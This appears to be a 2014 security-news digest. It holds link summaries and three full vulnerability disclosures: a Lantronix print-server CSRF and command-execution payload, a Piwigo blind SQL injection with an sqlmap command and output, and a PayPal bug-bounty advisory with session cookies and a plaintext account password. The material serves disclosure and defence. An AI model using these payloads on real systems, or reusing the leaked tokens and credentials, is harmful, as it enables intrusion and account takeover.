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Sednit Espionage Group Attacking Air-Gapped Networks

November 11, 2014, 7:45 pm
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The Sednit espionage group, also known as the Sofacy group, APT28 or “Fancy Bear”, has been targeting various institutions for many years. We recently discovered a component the group employed to reach physically isolated computer networks — “air-gapped” networks — and exfiltrate sensitive files from them through removable drives.

more here.........http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
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Paper: A First Step Towards Automated Detection of Buffer Overrun Vulnerabilities

November 12, 2014, 2:32 am
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We describe a new technique for finding potential buffer overrun vulnerabilities in security-critical C code. The key to success is to use static analysis: we formulate detection of buffer overruns as an integer range analysis problem. One major advantage of static analysis is that security bugs can be eliminated before code is deployed. We have implemented our design and used our prototype to find
new remotely-exploitable vulnerabilities in a large, widely deployed software package. An earlier hand audit missed these bugs

more here...........http://cpl0.net/~argp/papers/24dcd918253f6a44a43ac6612294397f.pdf
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PoC - Detect a format string vulnerability without pattern matching

November 12, 2014, 2:34 am
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In this PoC, we can see that it's possible to detect some format string bugs without
pattern matching (e.g: looking for %s or something like that). We only focus on the
analysis and look if the va_arg based functions' first argument is tainted or
not.

more here.........http://shell-storm.org/files/Format-String-Detection-With-Pin.cpp
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Trojan SMS Found on Google Play

November 12, 2014, 2:35 am
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I’m not quite sure how this one slipped under Google Play’s radar, but a SMS Trojan app with the package name com.FREE_APPS_435.android claims to be a download for wallpapers, videos, and music is actively on the Google Play store (at least at the time of this writing it was).

more here.........https://blog.malwarebytes.org/mobile-2/2014/11/trojan-sms-found-on-google-play/
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Solution to some of "The Windows kernel" exercises from Practical Reverse Engineering

November 12, 2014, 2:38 am
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Recently I spent some time improving my knowledge of the Windows kernel and I gave a go at some of the exercises from the "Practical Reverse Engineering" book. I wanted to share the solutions to the ones proposed on page 180 ("Building Knowledge and Solidifying Your Knowledge" from "The Windows Kernel" chapter), as I think this can be an opportunity to discuss them with other people :)

more here.........http://scrammed.blogspot.fr/2014/11/solution-to-some-of-windows-kernel.html
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How I do my hunting – Part 1 IDS: the most valuable honeypot you can POSSIBLY have.

November 12, 2014, 2:39 am
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Recently I’ve had a lot of new followers and have been making a lot of awesome friends in the infosec community. All of them ask me the same thing regarding my twitter feed and all the malware information/intel I post there on a regular basis. How do I get my information? What do I use for hunting? I decided I would deviate from standard (if there’s such a thing as standard) content on my blog today and reveal my (not so) secrets, for the benefit of the community at large and because I’m a huge advocate for information sharing and knowledge transfer.

more here........https://blindseeker.com/blahg/?p=140
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New DNS Amplification Attacks Use Text from White House Press Release

November 12, 2014, 2:41 am
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Cybercriminals have started a new trend for conducting distributed denial-of-service (DDoS) attacks and rely on a type of DNS (Domain Name System) amplification that leverages text records for making the operation more effective; in some campaigns, parts of a press release from the White House have been observed by researchers.


more here.........http://news.softpedia.com/news/New-DNS-Amplification-Attacks-Use-Text-from-White-House-Press-Release-464732.shtml
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Potentially catastrophic bug bites all versions of Windows. Patch now

November 12, 2014, 2:43 am
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Bug allowing execution of malicious code resides in TLS stack.

more here.........http://arstechnica.com/security/2014/11/potentially-catastrophic-bug-bites-all-versions-of-windows-patch-now/
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Simple Rootkit

November 12, 2014, 10:15 am
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A simple attack via kernel module, with highly detailed comments.

Here we'll compile a kernel module which intercepts every "read" system call, searches for a string and replaces it if it looks like the gcc compiler or the python interpreter. This is meant to demonstrate how a compromised system can build a malicious binary from perfectly safe source code.

more here.........https://github.com/mrrrgn/simple-rootkit
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Bypassing Microsoft’s Patch for the Sandworm Zero Day: a Detailed Look at the Root Cause

November 12, 2014, 10:16 am
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On October 21, we warned the public that a new exploitation method could bypass Microsoft’s official patch (MS14-060, KB3000869) for the infamous Sandworm zero-day vulnerability. As Microsoft has finally fixed the problem today via Security Bulletin MS14-064, it’s time to uncover our findings and address some confusion. This is the first of two posts on this issue.

more here.........http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-sandworm-zero-day-root-cause
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Imaging drives protected with Apple FileVault2 encryption

November 12, 2014, 10:19 am
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Apple FileVault 2 facilitates full disk encryption and requires OS X Lion or later and OS X Recovery installed on the start up drive. It is easy to detect.

more here........http://forensicsfromthesausagefactory.blogspot.ae/2014/11/imaging-drives-protected-with-apple.html
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CREAM: the scary SSL attack you’ve probably never heard of

November 12, 2014, 10:23 am
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2014 was a year packed full of the discovery of new SSL† attacks.

more here......http://tonyarcieri.com/cream-the-scary-ssl-attack-youve-probably-never-heard-of
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Exchange-traded fund "HACK" seeks to tap into cyber security market

November 12, 2014, 11:03 am
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A new exchange-traded fund that invests in the cyber security industry could offer investors a silver lining to all of the data breaches that have hit U.S. companies over the past year.

more here..........http://www.reuters.com/article/2014/11/12/cybersecurity-etf-idUSL2N0T11FU20141112
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Lantronix xPrintServer Code execution and CSRF vulnerability

November 12, 2014, 11:44 am
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Hi,

The Lantronix xPrintServer is a small Linux powered print server for iOS. Main configuration happens through a web interface.

The problem is that the configuration happens through some ‘RPC’ interface; the web interfaces uses AJAX requests to talk to a CGI script that simply executes shell commands given to it. Take a look at the following screenshot:

http://i.imgur.com/gjbZhXZ.png

So.. that’s not really so secure. Launching a request to http://myip/ips?OP=rpc&c=whoami&a=0 tells me that everything is running as root.

To make matters worse:
- The CGI script is accessible without needing to use credentials
- The devices uses bonjour that by defaults registers itself as xprintserver.local in the local network
- The device has no CSRF protection

Example code that allows any website to fetch the Linux version.
<script src="http://xprintserver.local/ips?OP=rpc&c=echo%20var%20version=%27%22%27%20$(uname%20-a)%27%22%27&a=0”></script>

This vulnerability is not reported to the vendor yet (because I need to register talk to their support).

Greetings,
Jim Bauwens
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Piwigo

November 12, 2014, 11:46 am
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=============================================
MGC ALERT 2014-001
- Original release date: January 12, 2014
- Last revised:  November 12, 2014
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in Piwigo <= v2.6.0

II. BACKGROUND
-------------------------
Piwigo is a web application management photo albums, available under the
License GPL. Is written in PHP and requires a MySQL, PostgreSQL or SQLite
data.

III. DESCRIPTION
-------------------------
This bug was found using the portal without authentication. To exploit the
vulnerability only is needed use the version 1.0 of the HTTP protocol to
interact with the application. It is possible to inject SQL code in the
variable "rate" on the page "picture.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/piwigo/picture.php?/1/category/1&action=rate (POST parameter: rate=1)

Exploiting with SQLMap:

python sqlmap.py -u "
http://192.168.244.129/piwigo/picture.php?/1/category/1&action=rate" --data
"rate=1" --dbs

[16:32:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[16:32:25] [INFO] fetching database names
[16:32:25] [INFO] fetching number of databases
[16:32:25] [INFO] resumed: 4
[16:32:25] [INFO] resumed: information_schema
[16:32:25] [INFO] resumed: mysql
[16:32:25] [INFO] resumed: phpmyadmin
[16:32:25] [INFO] resumed: piwigo
available databases [4]:
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] piwigo

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
Piwigo <= v2.6.0

VII. SOLUTION
-------------------------
All data received by the application and can be modified by the user,
before making any kind of transaction with them must be validated.

VIII. REFERENCES
-------------------------
http://www.piwigo.org

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
January 21, 2014 1: Initial release


XI. DISCLOSURE TIMELINE
-------------------------
January 21, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
November 12, 2014 2: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
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PayPal Inc Bug Bounty #88 - Filter Bypass & Arbitrary Code Execution Vulnerability

November 12, 2014, 11:46 am
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Document Title:
===============
PayPal Inc Bug Bounty- Filter Bypass & Arbitrary Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=936

Video: http://www.vulnerability-lab.com/get_content.php?id=1275

Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2014/11/05/paypal-inc-fixed-filter-bypass-profile-code-execution-during-infrastructure


Release Date:
=============
2014-11-05


Vulnerability Laboratory ID (VL-ID):
====================================
936


Common Vulnerability Scoring System:
====================================
9.1


Product & Service Introduction:
===============================
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent script code injection web vulnerability in the official PayPal Inc core application.


Vulnerability Disclosure Timeline:
==================================
2013-04-25:     Researcher Notification & Coordination  (PayPal Inc - Bug Bounty Program)
2013-04-26:     Vendor Notification (PayPal Inc - Bug Bounty Program)
2013-05-01:     Vendor Response/Feedback  (PayPal Inc - Bug Bounty Program)
2013-09-12:     Vendor Response/Feedback  (Ebay Inc - Bug Bounty Program)
2014-10-01:     Vendor Response/Feedback  (Ebay Inc - Bug Bounty Program)
2014-10-12:     Vendor Fix/Patch  (PayPal Inc - Developer Team)
2014-11-04:     Public Disclosure  (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PayPal Inc
Product: Core Application 2013 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A system specific arbitrary code execution vulnerability has been discovered in the official in the official PayPal Inc Web-Application & API.
A filter bypass and persistent bug has also been revealed during the tests in the same vulnerable parameter location.

The system specific arbitrary code execution vulnerability is located in the developer api portal with connection and account access to the
paypal portal api. First the attacker registers an user account and includes to the `cardholder confidential` and `accountSelName` value own
malicious persistent script codes or local web-server files. To attack, the help center data of the malicious profile requires a second
registration to the developer api portal with same credentials (connected). The accountSelName and the confidential values are not limited
on input. The attacker is able to load script codes but can also remotly execute arbitrary codes to access local web-server files or configs.

The filter bypass occurs during the execution onclick by opening the profile. The trusted context of the dev api user account will be streamed
through the help center link on GET method requests. The regular filter of paypal prevents the external inject of frames to other websites but
in case of this issue the trusted context is directly executed on top of the profile. The execution and inject can occur remotly by attackers
and the attack typus is pending from persistent xss to arbitrary code execution and local web-server file request through the profile. The web-server
and misconfiguration allows the attacker to for example include a frame with a local request through the trusted context to capture unauthorized data
of the system. A webshell inject could also be possible during the execution point of the paypal users profile.

The attack vector is on the application-side of the paypal service and the injection request method is POST (dev api & help center). The security risk
of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 9.1.

Exploitation of the system specific code execution vulnerability requires a low privileged paypal inc account with restricted access and no user interaction.
Successful exploitation of the vulnerability results in unauthorized execution of system specific codes, webshell injects via POST method, unauthorized path/file
value requests to compromise the application or the connected module components.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] helpcenter/home/ ( https://www.paypal.com/webapps/helpcenter/home/ )
[+] developer.paypal.com ( https://developer.paypal.com/webapps/developer/support )

Vulnerable Parameter(s):
[+] accountSelName confidential
[+] confidential

Affected Module(s):
[+] PayPal Inc – Profile User Index (Main) – Execution through >
https://developer.paypal.com/webapps/developer/support )


Proof of Concept (PoC):
=======================
The system specific code execution and persistent issue (filter bypass) can be exploited by remote attackers with low privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual Steps to reproduce the vulnerability ...
1. First register and account to the developer portal api
2. Second connect the paypal account to the help center by registration (2. to 1. also possible)
Note: On registration it`s required to include own payloads (code execution [path|file|config]or script code[html|php|js]) to the AccountSelName & cardholder confidential input.
3. Save the payload to your profile
4. Open the dev webportal & include the same data (payload) to your dev api profile values.
Note: On our tests we did but we are not if this is a requirement for a successful test.
5. Now surf to the following internal dev websitehttps://developer.paypal.com/webapps/developer/support )
Note: On bottom of the page is now the paypal support link with the malicious injected code
6. Click the "Visit PayPal Support" link
7. The website redirect to the local paypal profile with the new api template theme. The system specific code execution occurs directly in the middle were the streamed data
of the helpcenter through dev api portal will become visible. The vulnerable executable values are `AccountSelName` and cardholder `confidential` account data.
Note: If you injected script code the script code execution on the main profile request throught the dev api service or a local config/file of the web-server will be loaded.
8. Successful reproduce of the remote vulnerability in the paypal infrastructure!
Note: DETAILS $ PAYPAL TO AUTHORIZED USAGE


Reference(s):
From < https://developer.paypal.com/webapps/developer/support
Through API > https://www.paypal.com/webapps/helpcenter/home/
To < https://www.paypal.com/webapps/helpcenter/home/a [ARBITRARY CODE EXEUCTION!]


PoC: Help Center Index - confidential & accountSelName confidential

<div class="nav product merchant">
<div class="wrapper">
<div class="column_8_16" style="clear:both">
<div class="one column">
<div class="accountSelName confidential">
<div class="confidential" tabindex="0">%20>>"<<x>%20%20%20%20"><i... #[SYSTEM
SPECIFIC CODE EXECUTION OR PERSISTENT SCRIPT CODE!]
</div>
</div>


Note: Code snippet poc shows the execution of the code after the inject of the test payloads

--- PoC-Session Logs [GET] (Vulnerable Service) ---
22:28:56.757[1073ms][total 1933ms] Status: 200[OK]
GET https://developer.paypal.com/webapps/developer/support Load
Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[2841]
Mime Type[text/html]
Request Headers:
Host[developer.paypal.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate] DNT[1]
Referer[https://developer.paypal.com/webapps/developer/dashboard/test]
Cookie[cookie_check=yes; analytics=npXj01hCUWhDymxVPXy6hvRAO8mp6Vab7grsAxepOdYMdbZuOAokBTznGTV664Cfp6JTxQWQSk;
s_sess=%20c_m%3DNatural
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%252Fdust%252Fdashboard%252Ftest.dust%3B%20lt%3DSupport%255Edeveloperspartaweb
%252Fweb-inf%252Ftmpl%252Fdust%252Fdashboard%252Ftest.dust%3B%20s_sq
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%20gpv_p23%3Dmain%253Amktg%253Afinancing%253A%253Aunauthhome
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%7C1430080136714%3B%20gpv_c43%3Ddeveloperspartaweb%252Fweb-inf%252Ftmpl
%252Fdust%252Fdashboard%252Ftest.dust%7C1367009936721%3B%20gpv_events%3Dno
%2520value%7C1367009936725%3B; ts=vreXpYrS%3D1461678158%26vteXpYrS
%3D1367009181%26vr%3D47e0e1a413e0abe0d4d0d4d0ff0230cd%26vt
%3D47e0e1a413e0abe0d4d0d4d0ff0230cc;
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consumer_display=USER_HOMEPAGE%3d0%26USER_TARGETPAGE
%3d0%26USER_FILTER_CHOICE%3d0%26BALANCE_MODULE_STATE
%3d1%26GIFT_BALANCE_MODULE_STATE%3d1%26LAST_SELECTED_ALIAS_ID
%3d0%26SELLING_GROUP%3d1%26PAYMENT_AND_RISK_GROUP
%3d1%26SHIPPING_GROUP%3d1%26HOME_VERSION%3d1%26USER_GROUP
%3d4294967295%26FORGOT_BUTTON_ROLE%3d56;
Apache=10.74.8.156.1367005659167493;
__utma=263370009.199482976.1367005657.1367005657.1367005657.1;
__utmb=263370009.14.10.1367005657; __utmc=263370009;
__utmz=263370009.1367005657.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
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hD9krQVnGZvKKxHBuZd
hDMHGcgesSeWG; login_email=x01445%40gmail.com; LANG=en_US%3bDE; Gws4LBnVhSMuyYhD0wXzh01SEK=
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BtISTVSGbl4WlJ-_eEVAsOLl501In5N_1HJBq88q1hBV5S;
SEGM=bRdV1vB0ebq9RKdAb3xSHowCi6QnnlCiDOLNk8i1mAuLl1vTbzHQwWajSsMe8mvoW
iJtY1GnpzN4Y-sixGy7BQ; navcmd=xpt%2fCustomer_Profile%2faccount%2fprofile
%2fSellerPreference;
pNTcMTtQfrJuaJiwEnWXQ6yNxfq=GXKuXCGNvT1bsc_jz_Rx9E7VwmZZ8o3dbnxOVVVp9A
axiyWkodDxxKi4R67QRG1M5Y9fj-Wu7wfuRhtJ7-4rEJoEX8JKpG40P-
26PMeKw49jPMtad4WGiZRQSoayGXMsc582PVSkcKSwR6h6qIuMqseWjoOmQyUcBhGpGD
MpZCtdFnUeh7VG8LcUYDbLPeIrziGR7A8uFYcl2UoCzOmLGW9tjXHo849pblqKbUdA9GfnC6mXONIJL7SrRz7cZV2DeIRAUlytDT3bwKroKutZtMwkh9QxWAqJPu
Y2l18_FhlA9bLZKcbu7Hwv7-CKt4s9rk2RAfVkMUxcdUC6BxHn-5nAixQTO8fJ1Sxvm;
navlns=0.0; INSIDE_SEARCH_PARAMS=2%3bDE%3ben_US%3bEurope%2fBerlin;
SPARTAJSESSIONID=b469ade995520]
Connection[keep-alive]

Response Headers:
Date[Fri, 26 Apr 2013 20:29:00 GMT]
Server[Apache-Coyote/1.1]
X-Frame-Options[SAMEORIGIN]
Cache-Control[must-revalidate, proxy-revalidate, no-cache]
Content-Type[text/html;charset=utf-8]
Content-Language[en-US] Set-Cookie[SPARTAJSESSIONID=b469ade995520;
Domain=.paypal.com; Path=/; Secure; HttpOnly
HaC80bwXscjqZ7KM6VOxULOB534=NeCv0LpChVSb1LUO7ACci9QljSszvP1vnFucjnzDEhQA
aIJwnTGse_O1jK-v1Ix3xMf37CJzCo7mhHFiUqc_jGQ3TZCkyKw7bqsFSXjVmp1At-
QfPpYWWvNBLJ-jwrRCxbkqbW; Domain=.paypal.com; Path=/; Secure; HttpOnly
analytics=WlpqNFIvc5KQfH.5mTE.EHaym1WQXGmbYji.0XQm-
CqpTh.7j5T5WuK2VeQdeoFYVDMJ0N41Q6M; Max-Age=631138519; Expires=Tue, 26-Apr-
2033 16:44:19 GMT; Domain=.paypal.com; Path=/; Secure; HttpOnly
SPARTAJSESSIONIDV2=vsEpz8V5yOevktiKlA9Pf7Y6Dqji8U9YEYTL.
2fIuBwSPPV1H3jNv3FOduHGSyqmykhcIaPtx0;
Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=.paypal.com; Path=/; Secure;
HttpOnly]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[2841]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]

Note: The session log above with the GET method request shows the request which leads to the
execution in the next session-log. The server accepts the malicious and manipulated request and
redirects via referer and non expired session to the paypal.com portals were the execution occurs.

--- PoC Session Logs [GET] (Execution) ---
22:29:06.862[3380ms][total 3380ms] Status: 200[OK]
GET https://www.paypal.com/webapps/helpcenter/home/a Load
Flags[LOAD_DOCUMENT_URI ] Content Size[5225] Mime Type[text/html]
Request Headers:
Host[www.paypal.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]Accept-Encoding[gzip, deflate] DNT[1]
Referer[https://www.paypal.com/webapps/helpcenter/home/]
Cookie[Apache=10.73.8.62.1367005517929267; cookie_check=yes;
analytics=YOCH0Lef0Klib5IKj7VGth-
ESn2IJ5J4WqpvQFrb.if8hr8yIVWtwi260cfUTcb8QcddZn.uTdE; s_sess=%20c_m%3DNatural
%2520Searchpaypal%2520bug%2520bountywww.google.de%3B%20s_cc%3Dtrue%3B
%20tr_p1%3Ddeveloperspartaweb%252Fweb-inf%252Ftmpl%252Fdust%252Fsupport
%252Foverview.dust%3B%20lt%3D%3B%20s_ppv%3D93%3B%20v31%3Ddeveloperspartaweb
%252Fweb-inf%252Ftmpl%252Fdust%252Fsupport%252Foverview.dust%3B%20s_sq%3D%3B;
s_pers=%20gpv_p23%3Dmain%253Amktg%253Afinancing%253A%253Aunauthhome
%7C1367009015468%3B%20s_fid%3D1C1953F2CF9A8631-0C78EF476327828D
%7C1430080143210%3B%20gpv_c43%3Ddeveloperspartaweb%252Fweb-inf%252Ftmpl
%252Fdust%252Fsupport%252Foverview.dust%7C1367009943217%3B%20gpv_events%3Dno
%2520value%7C1367009943221%3B; bn_u=1332619451692973419; ts=vreXpYrS
%3D1461678158%26vteXpYrS%3D1367009181%26vr%3D47e0e1a413e0abe0d4d0d4d0ff0230cd
%26vt%3D47e0e1a413e0abe0d4d0d4d0ff0230cc;
cwrClyrK4LoCV1fydGbAxiNL6iG=m_WedegyrDKHFdAAufD7kF5ZU6s7aO3eJRms9TW1Aqb
MaEGDtkxeY34Bm2p_Hdeq87Nxhr5c1NNBdvfBaH9eMflpanT_YGvgX2nIWI1r5A6hgqXnwf1V
sas9ZF4%7cZzbBc9qDQDohlW04oVtWtiOWLr9U0WKE6S2A0PnGDPPGjZse1c2PabDnan_fh5z
WNuEDFW%7cW-RHDrQRl1Z61RvfQtyKpy9zn2aU_q7vM0hMlqljwNAfggMISaWNpeW46G8lM5Cj0urp0%
7c1367007376; KHcl0EuY7AKSMgfvHl7J5E7hPtK=SaayQldii2iWrbaXFREEUkHzBgkDKOXS4yTeJTgI6fzQphzAG805W5l2oPSNYVPXDKaZsIUSCGQp_3;
consumer_display=USER_HOMEPAGE%3d0%26USER_TARGETPAGE
%3d0%26USER_FILTER_CHOICE%3d0%26BALANCE_MODULE_STATE
%3d1%26GIFT_BALANCE_MODULE_STATE%3d1%26LAST_SELECTED_ALIAS_ID
%3d0%26SELLING_GROUP%3d1%26PAYMENT_AND_RISK_GROUP
%3d1%26SHIPPING_GROUP%3d1%26HOME_VERSION%3d1%26USER_GROUP
%3d4294967295%26FORGOT_BUTTON_ROLE%3d56;
agzvbiaTG7XC5VaEwLQYUwrb15G=r_szrtUuBwYD4NqoIw8h2WUjW3vVbgmkVo4nfph5BOD
dMpHqO7lRZspuKjGAkR9z7t5bcKMLzkdtsatoh2iXm7MHYjLBOvx1rt8VVCMfVPPtg6_InRirel
fXNFERKV_Igy_kOgIqyiR4oRcZLDSiIvaS8gle7qLylyTdX5v4aOgK_sAq9E24anwk7d_myT6CX
UbQb-R7NqyzMw8VUepjHqSlwNyPKJghSDFGaCHdD3QjksqJQv0q9htdG0JWAQv2oHLs7G;
g2bQrGu--
VIan06DHlaPDvMaBlO=E1iMJrsOOEL1cS_wHh1vvEmVHLFgVwqSZqUhJUuCJE4oazlBhxlB_
LpJ58GLANkKI5mfJmWwTdSARHKKlkoLbta2DzCBbSfQrwMrghrYzYq_
EuJAqV7lFBbj_KP8osHKEfkaCVs34_XfppcGWgfledkmJwyk
M7mKxcPYdUTJlvDcNy2sbQiMWhHTh2dhEe_
6re9gZQFjXSy6i979Lbe2UWIPZZnBCXVoMsHD0xbkgEnJqh4Bi11zJc4tS1FChXzd
niWkLTx17WhTjbpyVNE7O-wtjO9-5StitWI3azzMJTlAkA3eBtfw0yhaB70fFCpba_
yENriXQtKsJGcXAm71RAiJwiJEWBkq6iZpqkleEK69-
Q6YP1NY0Dp0B1531BjYZBrZbOAUh8m0X3_Z1-
_RddBXIrU4vnShqZgZworf2okBA7IvMfzWfyv0OfB3aLkd8xtrLCFDgdNBVERHwWHYb7_Mf
EUNJ-6JqM4koqIvLZvDDo9_DCdpfKdwTRu9vQtiB3GaRx7DgVqkOMEtxSJljmPz1HDDtC15cW;
HaC80bwXscjqZ7KM6VOxULOB534=HP6WwQ0eXaRr2anoOsYKF7CGBw6-
5KhwiYVS1vwLn1Dh9NqoyWEOUWyUHVFtxavpSES_UYk7occE4X3uNtyj7nWnajz1VULGuV06AmM3jy13bLcpDK959inyPjrla7w1z-
Ehm; login_email=x01445%40gmail.com;
LANG=en_US%3bDE; Gws4LBnVhSMuyYhD0wXzh01SEK=
jy0DcLqW37pTQNCEhLbqhA3QX00BcwiDqqaD7U13i0aMo
BtISTVSGbl4WlJ-_eEVAsOLl501In5N_1HJBq88q1hBV5S;
SEGM=bRdV1vB0ebq9RKdAb3xSHowCi6QnnlCiDOLNk8i1mAuLl1vTbzHQwWajSsMe8mvoW
iJtY1GnpzN4Y-sixGy7BQ; X-PP-SILOVER=name%3DLIVE6.WEB.1%26silo_version
%3D880%26app%3Dslingshot%26TIME%3D2430368337; navcmd=xpt%2fCustomer_Profile
%2faccount%2fprofile%2fSellerPreference;
pNTcMTtQfrJuaJiwEnWXQ6yNxfq=GXKuXCGNvT1bsc_jz_Rx9E7VwmZZ8o3dbnxOVVVp9A
axiyWkodDxxKi4R67QRG1M5Y9fj-Wu7wfuRhtJ7-4rEJoEX8JKpG40P-
26PMeKw49jPMtad4WGiZRQSoayGXMsc582PVSkcKSwR6h6qIuMqseWjoOmQyUcBhGpGD
MpZCtdFnUeh7VG8LcUYDbLPeIrziGR7A8uFYcl2UoCzOmLGW9tjXHo849pblqKbUdA9GfnC6mXONIJL7SrRz7cZV2DeIRAUlytDT3bwKroKutZtMwkh9QxWAqJPu
Y2l18_FhlA9bLZKcbu7Hwv7-CKt4s9rk2RAfVkMUxcdUC6BxHn-5nAixQTO8fJ1Sxvm;
navlns=0.0; INSIDE_SEARCH_PARAMS=2%3bDE%3ben_US%3bEurope%2fBerlin;
tcs=main:identity:::newsso|_eventId_submit; SPARTAJSESSIONID=4381770a8d243;
SPARTAJSESSIONIDV2=mFJuF3Td8YChLS8hsTBEDYCDlaan6SxOcEV8wCFmUQ37xGuQDc
I25.tBKhyY-IJNPQ0A8Vw-GVXFZfQAHzqpFA;
aksession=1367008449~id=cookievC+wdkyRC0UzSZWXkhBPD6dcl2wC6MkrXhAyCF24bXEAq
a0oGE8xfvt3ph8bjykqTbPzZj330+q7qNHyIj42OcCxIikuXUl0QW1dPeeycH75828YbSSh5/VWmI
MknMhGOK1SQUIF9uQ=] Connection[keep-alive]

Response Headers:
Server[Apache-Coyote/1.1]
X-Frame-Options[SAMEORIGIN]
Cache-Control[must-revalidate, proxy-revalidate, no-cache]
Content-Type[text/html;charset=UTF-8]
Content-Language[en-US]
Content-Encoding[gzip]
Content-Length[5225]
Date[Fri, 26 Apr 2013 20:29:12 GMT]
Connection[keep-alive]
Vary[Accept-Encoding]
Set-Cookie[SPARTAJSESSIONID=4381770a8d243; Domain=.paypal.com; Path=/; Secure;
HttpOnlySPARTAJSESSIONID=4381770a8d243; Domain=.paypal.com; Path=/; Secure; HttpOnly
HaC80bwXscjqZ7KM6VOxULOB534=67pQ_SbY9KcYXIZwvXf41F1UDHSPOlpuWZWBr5Syc
RDYDMkpDjL9wnHZibXjZxPWxipETeT9OLSEDymNqzEsfdBbL_pDE1cnTJ2yiEUV1isdJqbcfq_
FgpHVutAELsNqqk7uG; Domain=.paypal.com; Path=/; Secure; HttpOnly
analytics=0-AAbZ6STFaFViK65yobUytJf35vDfg1mxCQbONr6nxMY3v8tY97GBmh.
rm.LWF9zJC4dJEEJs; Max-Age=631138519; Expires=Tue, 26-Apr-2033
16:44:31 GMT; Domain=.paypal.com; Path=/; Secure; HttpOnly
SPARTAJSESSIONIDV2=wVm2OLjyw5F9VbwqocGR0TgDSghsfPAZXvCq1e1Aaap7fuaNiRX
WFyBQE14Y1Em66vpfwGMDIo5ncV1LCDFYow; Domain=.paypal.com; Path=/; Secure;
HttpOnly]

Note: The session logs above shows that the server accepted (200OK) the request and answers with the malicious code execution (GET) as response to me as user.
The service runs under the same origin policy which returns in the result of the dev through the help center. The execution can also be watched in the recorded
research video for the paypal bug bounty issue #88.

--- [ACCESS FOR PAYPAL]
Sandbox to Live Help Center Service > Account: ***********@gmail.com password: merlin23


1.png
The first image explains were the vulnerable location link has been placed after the inject for the
further execution of the code during the exploitation-phase. The system specific code execution or
persistent issue can be exploited by clicking the "Visit PayPal Support" link.


2.png
The second images shows were the code execution occurs inside of the paypal inc webapps core
and api. The code execution can be triggered by two vulnerable values via POST inject. To test we
injected two payloads own frame and one local request of a web-server config file. The execution of
the code occurs obviously next to the main user profile on index after the redirect to the referer.

3.png
The third picture shows were the code execution and persistent issue with filter bypass is located.
